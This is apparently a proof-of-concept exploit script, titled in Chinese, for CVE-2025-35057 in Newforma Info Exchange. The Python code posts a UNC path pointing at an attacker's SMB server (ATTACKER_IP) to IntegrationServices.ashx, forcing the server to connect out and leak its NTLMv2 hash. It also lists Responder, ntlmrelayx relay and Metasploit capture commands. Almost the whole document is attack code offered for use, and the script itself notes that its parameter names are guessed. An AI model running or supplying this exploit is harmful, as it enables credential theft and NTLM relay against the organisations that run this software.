CVE-2025-35057：Newforma Info Exchange NTLMv2哈希泄露漏洞

# CVE-2025-35057 - Newforma Info Exchange NTLMv2 Hash Disclosure PoC # Exploit: SMB connection coercion to capture NTLMv2 hash # Author: Security Researcher import requests import sys import argparse from urllib.parse import quote # Configuration TARGET_URL = "http://target-nix-server/RemoteWeb/IntegrationServices.ashx" ATTACKER_SMB_SERVER = "\\\\ATTACKER_IP\\share" # UNC path pointing to attacker's SMB server LISTENER_PORT = 445 # SMB port def exploit(target_url, attacker_smb): """ Send a crafted request to IntegrationServices.ashx to force NIX to initiate an SMB connection to the attacker-controlled server. """ # Craft the payload - the vulnerable parameter accepts a remote path/URL # which NIX will attempt to access via SMB payload = { # The exact parameter name may vary; common parameters include: "serverUrl": attacker_smb, "remotePath": attacker_smb, "integrationUrl": attacker_smb, "filePath": attacker_smb, # Additional parameters that may be required "action": "connect", "method": "validate" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } try: print(f"[*] Target: {target_url}") print(f"[*] Attacker SMB Server: {attacker_smb}") print(f"[*] Sending malicious request...") # Send the request - NIX will attempt SMB connection to attacker server response = requests.post( target_url, data=payload, headers=headers, timeout=30, allow_redirects=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[+] Request sent successfully!") print(f"[+] Check your SMB listener (e.g., Responder) for NTLMv2 hash capture") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def start_listener(): """ Instructions to start an SMB listener to capture NTLMv2 hashes. Recommended tools: Responder, Impacket """ print(""" [*] To capture the NTLMv2 hash, start one of these listeners on your server: Option 1 - Responder: sudo responder -I eth0 -wrf Option 2 - Impacket: sudo impacket-ntlmrelayx -smb2support -t smb://target Option 3 - Metasploit auxiliary: use auxiliary/server/capture/smb set SRVHOST ATTACKER_IP run """) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-35057 PoC - NIX NTLMv2 Hash Disclosure") parser.add_argument("-u", "--url", default=TARGET_URL, help="Target NIX IntegrationServices.ashx URL") parser.add_argument("-s", "--smb", default=ATTACKER_SMB_SERVER, help="Attacker SMB UNC path") parser.add_argument("--listener", action="store_true", help="Show listener setup instructions") args = parser.parse_args() if args.listener: start_listener() else: exploit(args.url, args.smb)